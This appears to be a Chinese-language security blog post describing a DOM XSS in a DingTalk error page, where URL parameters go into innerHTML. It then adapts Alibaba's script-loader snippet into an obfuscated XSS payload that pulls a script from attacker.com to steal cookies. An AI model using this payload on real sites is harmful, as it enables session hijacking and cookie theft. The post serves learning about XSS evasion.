做完了一個項目,然后沒啥事做,無意看到了一個釘釘的外部鏈接:

查看源碼,復制其中的代碼:

try {
        var search = location.search;
        if (search && search.length > 1 && search.charAt(0) === '?') {
            search = search.substr(1);
            var pairs = search.split('&');
            var kv = {};
            for (var i in pairs) {
                var parts = pairs[i].split('=');
                if (parts && parts.length > 1) {
                    kv[parts[0]] = parts[1];
                }
            }
        }
        var errcode = kv['errcode'];
        var errmsg = kv['errmsg'];
        if (errcode) {
            var divCode = document.getElementById('code');
            if (divCode) {
                divCode.innerHTML += ('errcode: ' + errcode);
            }
        }
        if (errmsg) {
            var divMsg = document.getElementById('msg');
            if (divMsg) {
                divMsg.innerHTML += ('errmsg: ' + errmsg);
            }
        }
    }
    catch (e) {console.log(e);}

關鍵部分是:

 

寫入errcode和errmsg到divCode和divMsg中。

其中errcode和errmsg都是我們可控的。

打開console簡單測試下:

不懂沒關系直接做:

 

 

說明我們外部可控,導致這個原因是因為遍歷的是location.search

本地搓個demo:

 

只要errcode和errmsg為xss代碼,即可觸發xss攻擊。很可惜這里。。最后做了處理。

正題:加載第三方js代碼:

刷新釘釘頁面:

發現加載了一些js鏈接依賴:

查看源碼,看看他怎么調用的:

<body><script>
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="http://g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")
script>
<script>
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"http://s":"http://a")+".tbcdn.cn/s/aplus_v2.js")
script>
<script>
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"http://s":"http://a")+".tbcdn.cn/s/aplus_v2.js")
script>


相當有意思,不同于以前的,以前我們xss打cookie/外部加載js都是是這樣的:

<script src="http://attacker.com/xss.js">script>

通過阿里加載js的方式,我們可以改造我們的加載方式如下:

<script type="text/javascript">
    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")
script>

 

我們訪問網頁:

直接加載了,查看我們是否接收到:

 

 

成功接收成功。

這個cookie竊取已經不是啥騷姿勢了,只是這次通過阿里正常加載js地址,學習包裝型的cookie獲取。